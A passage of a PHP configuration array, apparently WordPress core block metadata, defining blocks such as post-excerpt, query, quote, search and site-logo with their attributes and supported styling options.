'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ) ), 'post-excerpt' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-excerpt', 'title' => 'Excerpt', 'category' => 'theme', 'description' => 'Display the excerpt.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'moreText' => array( 'type' => 'string' ), 'showMoreOnNewLine' => array( 'type' => 'boolean', 'default' => true ), 'excerptLength' => array( 'type' => 'number', 'default' => 55 ) ), 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'editorStyle' => 'wp-block-post-excerpt-editor', 'style' => 'wp-block-post-excerpt' ), 'post-featured-image' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-featured-image', 'title' => 'Featured Image', 'category' => 'theme', 'description' => 'Display a post\'s featured image.', 'textdomain' => 'default', 'attributes' => array( 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'aspectRatio' => array( 'type' => 'string' ), 'width' => array( 'type' => 'string' ), 'height' => array( 'type' => 'string' ), 'scale' => array( 'type' => 'string', 'default' => 'cover' ), 'sizeSlug' => array( 'type' => 'string' ), 'rel' => array( 'type' => 'string', 'attribute' => 'rel', 'default' => '' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ), 'overlayColor' => array( 'type' => 'string' ), 'customOverlayColor' => array( 'type' => 'string' ), 'dimRatio' => array( 'type' => 'number', 'default' => 0 ), 'gradient' => array( 'type' => 'string' ), 'customGradient' => array( 'type' => 'string' ), 'useFirstImageFromPost' => array( 'type' => 'boolean', 'default' => false ) ), 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'align' => array( 'left', 'right', 'center', 'wide', 'full' ), 'color' => array( 'text' => false, 'background' => false ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'width' => true ) ), 'filter' => array( 'duotone' => true ), 'shadow' => array( '__experimentalSkipSerialization' => true ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'selectors' => array( 'border' => '.wp-block-post-featured-image img, .wp-block-post-featured-image .block-editor-media-placeholder, .wp-block-post-featured-image .wp-block-post-featured-image__overlay', 'shadow' => '.wp-block-post-featured-image img, .wp-block-post-featured-image .components-placeholder', 'filter' => array( 'duotone' => '.wp-block-post-featured-image img, .wp-block-post-featured-image .wp-block-post-featured-image__placeholder, .wp-block-post-featured-image .components-placeholder__illustration, .wp-block-post-featured-image .components-placeholder::before' ) ), 'editorStyle' => 'wp-block-post-featured-image-editor', 'style' => 'wp-block-post-featured-image' ), 'post-navigation-link' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-navigation-link', 'title' => 'Post Navigation Link', 'category' => 'theme', 'description' => 'Displays the next or previous post link that is adjacent to the current post.', 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'type' => array( 'type' => 'string', 'default' => 'next' ), 'label' => array( 'type' => 'string' ), 'showTitle' => array( 'type' => 'boolean', 'default' => false ), 'linkLabel' => array( 'type' => 'boolean', 'default' => false ), 'arrow' => array( 'type' => 'string', 'default' => 'none' ), 'taxonomy' => array( 'type' => 'string', 'default' => '' ) ), 'usesContext' => array( 'postType' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'link' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-post-navigation-link' ), 'post-template' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-template', 'title' => 'Post Template', 'category' => 'theme', 'parent' => array( 'core/query' ), 'description' => 'Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.', 'textdomain' => 'default', 'usesContext' => array( 'queryId', 'query', 'displayLayout', 'templateSlug', 'previewPostType', 'enhancedPagination' ), 'supports' => array( 'reusable' => false, 'html' => false, 'align' => array( 'wide', 'full' ), 'layout' => true, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'blockGap' => array( '__experimentalDefault' => '1.25em' ), '__experimentalDefaultControls' => array( 'blockGap' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-post-template', 'editorStyle' => 'wp-block-post-template-editor' ), 'post-terms' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-terms', 'title' => 'Post Terms', 'category' => 'theme', 'description' => 'Post terms.', 'textdomain' => 'default', 'attributes' => array( 'term' => array( 'type' => 'string' ), 'textAlign' => array( 'type' => 'string' ), 'separator' => array( 'type' => 'string', 'default' => ', ' ), 'prefix' => array( 'type' => 'string', 'default' => '' ), 'suffix' => array( 'type' => 'string', 'default' => '' ) ), 'usesContext' => array( 'postId', 'postType' ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-post-terms' ), 'post-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/post-title', 'title' => 'Title', 'category' => 'theme', 'description' => 'Displays the title of a post, page, or any other content-type.', 'textdomain' => 'default', 'usesContext' => array( 'postId', 'postType', 'queryId' ), 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'level' => array( 'type' => 'number', 'default' => 2 ), 'levelOptions' => array( 'type' => 'array' ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'rel' => array( 'type' => 'string', 'attribute' => 'rel', 'default' => '' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'example' => array( 'viewportWidth' => 350 ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-post-title' ), 'preformatted' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/preformatted', 'title' => 'Preformatted', 'category' => 'text', 'description' => 'Add text that respects your spacing and tabs, and also allows styling.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'pre', '__unstablePreserveWhiteSpace' => true, 'role' => 'content' ) ), 'supports' => array( 'anchor' => true, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'padding' => true, 'margin' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-preformatted' ), 'pullquote' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/pullquote', 'title' => 'Pullquote', 'category' => 'text', 'description' => 'Give special visual emphasis to a quote from your text.', 'textdomain' => 'default', 'attributes' => array( 'value' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'p', 'role' => 'content' ), 'citation' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'cite', 'role' => 'content' ), 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'left', 'right', 'wide', 'full' ), 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), 'color' => array( 'gradients' => true, 'background' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'dimensions' => array( 'minHeight' => true, '__experimentalDefaultControls' => array( 'minHeight' => false ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), '__experimentalStyle' => array( 'typography' => array( 'fontSize' => '1.5em', 'lineHeight' => '1.6' ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-pullquote-editor', 'style' => 'wp-block-pullquote' ), 'query' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query', 'title' => 'Query Loop', 'category' => 'theme', 'description' => 'An advanced block that allows displaying post types based on different query parameters and visual configurations.', 'textdomain' => 'default', 'attributes' => array( 'queryId' => array( 'type' => 'number' ), 'query' => array( 'type' => 'object', 'default' => array( 'perPage' => null, 'pages' => 0, 'offset' => 0, 'postType' => 'post', 'order' => 'desc', 'orderBy' => 'date', 'author' => '', 'search' => '', 'exclude' => array( ), 'sticky' => '', 'inherit' => true, 'taxQuery' => null, 'parents' => array( ), 'format' => array( ) ) ), 'tagName' => array( 'type' => 'string', 'default' => 'div' ), 'namespace' => array( 'type' => 'string' ), 'enhancedPagination' => array( 'type' => 'boolean', 'default' => false ) ), 'usesContext' => array( 'postType' ), 'providesContext' => array( 'queryId' => 'queryId', 'query' => 'query', 'displayLayout' => 'displayLayout', 'enhancedPagination' => 'enhancedPagination' ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'layout' => true, 'interactivity' => true ), 'editorStyle' => 'wp-block-query-editor' ), 'query-no-results' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-no-results', 'title' => 'No results', 'category' => 'theme', 'description' => 'Contains the block elements used to render content when no query results are found.', 'parent' => array( 'core/query' ), 'textdomain' => 'default', 'usesContext' => array( 'queryId', 'query' ), 'supports' => array( 'align' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'query-pagination' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination', 'title' => 'Pagination', 'category' => 'theme', 'ancestor' => array( 'core/query' ), 'allowedBlocks' => array( 'core/query-pagination-previous', 'core/query-pagination-numbers', 'core/query-pagination-next' ), 'description' => 'Displays a paginated navigation to next/previous set of posts, when applicable.', 'textdomain' => 'default', 'attributes' => array( 'paginationArrow' => array( 'type' => 'string', 'default' => 'none' ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ) ), 'usesContext' => array( 'queryId', 'query' ), 'providesContext' => array( 'paginationArrow' => 'paginationArrow', 'showLabel' => 'showLabel' ), 'supports' => array( 'align' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'default' => array( 'type' => 'flex' ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-query-pagination-editor', 'style' => 'wp-block-query-pagination' ), 'query-pagination-next' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination-next', 'title' => 'Next Page', 'category' => 'theme', 'parent' => array( 'core/query-pagination' ), 'description' => 'Displays the next posts page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'queryId', 'query', 'paginationArrow', 'showLabel', 'enhancedPagination' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'query-pagination-numbers' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination-numbers', 'title' => 'Page Numbers', 'category' => 'theme', 'parent' => array( 'core/query-pagination' ), 'description' => 'Displays a list of page numbers for pagination.', 'textdomain' => 'default', 'attributes' => array( 'midSize' => array( 'type' => 'number', 'default' => 2 ) ), 'usesContext' => array( 'queryId', 'query', 'enhancedPagination' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-query-pagination-numbers-editor' ), 'query-pagination-previous' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-pagination-previous', 'title' => 'Previous Page', 'category' => 'theme', 'parent' => array( 'core/query-pagination' ), 'description' => 'Displays the previous posts page link.', 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string' ) ), 'usesContext' => array( 'queryId', 'query', 'paginationArrow', 'showLabel', 'enhancedPagination' ), 'supports' => array( 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'query-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/query-title', 'title' => 'Query Title', 'category' => 'theme', 'description' => 'Display the query title.', 'textdomain' => 'default', 'attributes' => array( 'type' => array( 'type' => 'string' ), 'textAlign' => array( 'type' => 'string' ), 'level' => array( 'type' => 'number', 'default' => 1 ), 'levelOptions' => array( 'type' => 'array' ), 'showPrefix' => array( 'type' => 'boolean', 'default' => true ), 'showSearchTerm' => array( 'type' => 'boolean', 'default' => true ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'style' => 'wp-block-query-title' ), 'quote' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/quote', 'title' => 'Quote', 'category' => 'text', 'description' => 'Give quoted text visual emphasis. "In quoting others, we cite ourselves." — Julio Cortázar', 'keywords' => array( 'blockquote', 'cite' ), 'textdomain' => 'default', 'attributes' => array( 'value' => array( 'type' => 'string', 'source' => 'html', 'selector' => 'blockquote', 'multiline' => 'p', 'default' => '', 'role' => 'content' ), 'citation' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'cite', 'role' => 'content' ), 'textAlign' => array( 'type' => 'string' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'left', 'right', 'wide', 'full' ), 'html' => false, 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'dimensions' => array( 'minHeight' => true, '__experimentalDefaultControls' => array( 'minHeight' => false ) ), '__experimentalOnEnter' => true, '__experimentalOnMerge' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'color' => array( 'gradients' => true, 'heading' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'layout' => array( 'allowEditing' => false ), 'spacing' => array( 'blockGap' => true, 'padding' => true, 'margin' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'plain', 'label' => 'Plain' ) ), 'editorStyle' => 'wp-block-quote-editor', 'style' => 'wp-block-quote' ), 'read-more' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/read-more', 'title' => 'Read More', 'category' => 'theme', 'description' => 'Displays the link of a post, page, or any other content-type.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'string' ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'postId' ), 'supports' => array( 'html' => false, 'color' => array( 'gradients' => true, 'text' => true ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalLetterSpacing' => true, '__experimentalTextDecoration' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'textDecoration' => true ) ), 'spacing' => array( 'margin' => array( 'top', 'bottom' ), 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalDefaultControls' => array( 'width' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-read-more' ), 'rss' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/rss', 'title' => 'RSS', 'category' => 'widgets', 'description' => 'Display entries from any RSS or Atom feed.', 'keywords' => array( 'atom', 'feed' ), 'textdomain' => 'default', 'attributes' => array( 'columns' => array( 'type' => 'number', 'default' => 2 ), 'blockLayout' => array( 'type' => 'string', 'default' => 'list' ), 'feedURL' => array( 'type' => 'string', 'default' => '' ), 'itemsToShow' => array( 'type' => 'number', 'default' => 5 ), 'displayExcerpt' => array( 'type' => 'boolean', 'default' => false ), 'displayAuthor' => array( 'type' => 'boolean', 'default' => false ), 'displayDate' => array( 'type' => 'boolean', 'default' => false ), 'excerptLength' => array( 'type' => 'number', 'default' => 55 ) ), 'supports' => array( 'align' => true, 'html' => false, 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-rss-editor', 'style' => 'wp-block-rss' ), 'search' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/search', 'title' => 'Search', 'category' => 'widgets', 'description' => 'Help visitors find your content.', 'keywords' => array( 'find' ), 'textdomain' => 'default', 'attributes' => array( 'label' => array( 'type' => 'string', 'role' => 'content' ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ), 'placeholder' => array( 'type' => 'string', 'default' => '', 'role' => 'content' ), 'width' => array( 'type' => 'number' ), 'widthUnit' => array( 'type' => 'string' ), 'buttonText' => array( 'type' => 'string', 'role' => 'content' ), 'buttonPosition' => array( 'type' => 'string', 'default' => 'button-outside' ), 'buttonUseIcon' => array( 'type' => 'boolean', 'default' => false ), 'query' => array( 'type' => 'object', 'default' => array( ) ), 'isSearchFieldHidden' => array( 'type' => 'boolean', 'default' => false ) ), 'supports' => array( 'align' => array( 'left', 'center', 'right' ), 'color' => array( 'gradients' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'interactivity' => true, 'typography' => array( '__experimentalSkipSerialization' => true, '__experimentalSelector' => '.wp-block-search__label, .wp-block-search__input, .wp-block-search__button', 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'width' => true ) ), 'spacing' => array( 'margin' => true ), 'html' => false ), 'editorStyle' => 'wp-block-search-editor', 'style' => 'wp-block-search' ), 'separator' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/separator', 'title' => 'Separator', 'category' => 'design', 'description' => 'Create a break between ideas or sections with a horizontal separator.', 'keywords' => array( 'horizontal-line', 'hr', 'divider' ), 'textdomain' => 'default', 'attributes' => array( 'opacity' => array( 'type' => 'string', 'default' => 'alpha-channel' ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'center', 'wide', 'full' ), 'color' => array( 'enableContrastChecker' => false, '__experimentalSkipSerialization' => true, 'gradients' => true, 'background' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'spacing' => array( 'margin' => array( 'top', 'bottom' ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'wide', 'label' => 'Wide Line' ), array( 'name' => 'dots', 'label' => 'Dots' ) ), 'editorStyle' => 'wp-block-separator-editor', 'style' => 'wp-block-separator' ), 'shortcode' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/shortcode', 'title' => 'Shortcode', 'category' => 'widgets', 'description' => 'Insert additional custom elements with a WordPress shortcode.', 'textdomain' => 'default', 'attributes' => array( 'text' => array( 'type' => 'string', 'source' => 'raw' ) ), 'supports' => array( 'className' => false, 'customClassName' => false, 'html' => false ), 'editorStyle' => 'wp-block-shortcode-editor' ), 'site-logo' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/site-logo', 'title' => 'Site Logo', 'category' => 'theme', 'description' => 'Display an image to represent this site. Update this block and the changes apply everywhere.', 'textdomain' => 'default', 'attributes' => array( 'width' => array( 'type' => 'number' ), 'isLink' => array( 'type' => 'boolean', 'default' => true ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ), 'shouldSyncIcon' => array( 'type' => 'boolean' ) ), 'example' => array( 'viewportWidth' => 500, 'attributes' => array( 'width' => 350, 'className' => 'block-editor-block-types-list__site-logo-example' ) ), 'supports' => array( 'html' => false, 'align' => true, 'alignWide' => false, 'color' => array( '__experimentalDuotone' => 'img, .components-placeholder__illustration, .components-placeholder::before', 'text' => false, 'background' => false ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'styles' => array( array( 'name' => 'default', 'label' => 'Default', 'isDefault' => true ), array( 'name' => 'rounded', 'label' => 'Rounded' ) ), 'editorStyle' => 'wp-block-site-logo-editor', 'style' => 'wp-block-site-logo' ), 'site-tagline' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/site-tagline', 'title' => 'Site Tagline', 'category' => 'theme', 'description' => 'Describe in a few words what the site is about. The tagline can be used in search results or when sharing on social networks even if it’s not displayed in the theme design.', 'keywords' => array( 'description' ), 'textdomain' => 'default', 'attributes' => array( 'textAlign' => array( 'type' => 'string' ), 'level' => array( 'type' => 'number', 'default' => 0 ), 'levelOptions' => array( 'type' => 'array', 'default' => array( 0, 1, 2, 3, 4, 5, 6 ) ) ), 'example' => array( 'viewportWidth' => 350, 'attributes' => array( 'textAlign' => 'center' ) ), 'supports' => array( 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalFontStyle' => true, '__experimentalFontWeight' => true, '__experimentalLetterSpacing' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ), 'editorStyle' => 'wp-block-site-tagline-editor', 'style' => 'wp-block-site-tagline' ), 'site-title' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/site-title', 'title' => 'Site Title', 'category' => 'theme', 'description' => 'Displays the name of this site. Update 